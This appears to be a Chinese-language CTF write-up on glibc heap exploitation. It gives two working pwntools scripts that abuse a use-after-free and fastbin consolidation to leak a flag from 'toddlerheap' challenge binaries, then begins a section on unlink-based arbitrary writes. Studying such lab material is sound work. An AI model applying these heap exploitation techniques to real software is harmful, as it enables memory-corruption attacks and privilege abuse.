1. fastbin consolidation
1.1 uaf + fastbin consolidation泄露flag
场景是:
1. 只能申请小于0x400的堆块,存放堆地址的空间只够16次
2. flag位于0x450的某个堆块中
3. 存在uaf漏洞
核心思路是构造fastbin中有一个chunk A(与top chunk相邻),利用fastbin consolidation的机制 + uaf,使flag申请下来的0x450的chunk B的起始地址与A一样。打印flag即可
from pwn import *
binary_path = "/challenge/toddlerheap_level1.0"
#binary_path = "./toddlerheap_level1.0"
p = process(binary_path)
def malloc(idx,size):
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
for i in range(8):
malloc(i,0x70)
for i in range(8):
free(i)
# gdb.attach(p)
# pause()
p.sendline(b"read_flag")
puts(7)
p.interactive()
1.1.1 变种: uaf + fastbin consolidation + 防止consolidate的chunk
一般这种题目的核心思路是控制chunk的总和满足某个条件
from pwn import *
binary_path = "/challenge/toddlerheap_level2.1"
binary_path = "./toddlerheap_level2.1"
p = process(binary_path)
def malloc(idx,size):
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def calloc(idx,size):
p.sendline(b"calloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
for i in range(8):
malloc(i,0x70)
for i in range(8):
free(i)
calloc(8,0x5b0)# fastbin consolidation: 7 equals 8
malloc(9,0x10) # in case of merging
calloc(10,0x5b0) # break the case
malloc(11,0x10) # in case of merging
free(10)
free(8)
# gdb.attach(p)
# pause()
p.sendline(b"read_flag")
puts(7)
p.interactive()
2. unlink
通过unlink能够解链,对某个地址的值进行改写
unlink的部分代码如下:
static void unlink_chunk (mstate av, mchunkptr p) {
if (chunksize (p) != prev_size (next_chunk (p)))//检查一
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))//检查二
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
只要满足这个要求,我们就能够通过unlink完成对某些地址的值进行修改:
前提条件是有uaf漏洞,能够修改bk和fd的值
2.1 修改某个地址的值(例如授权)
unlink最直接的利用手段,就是修改某个地址的值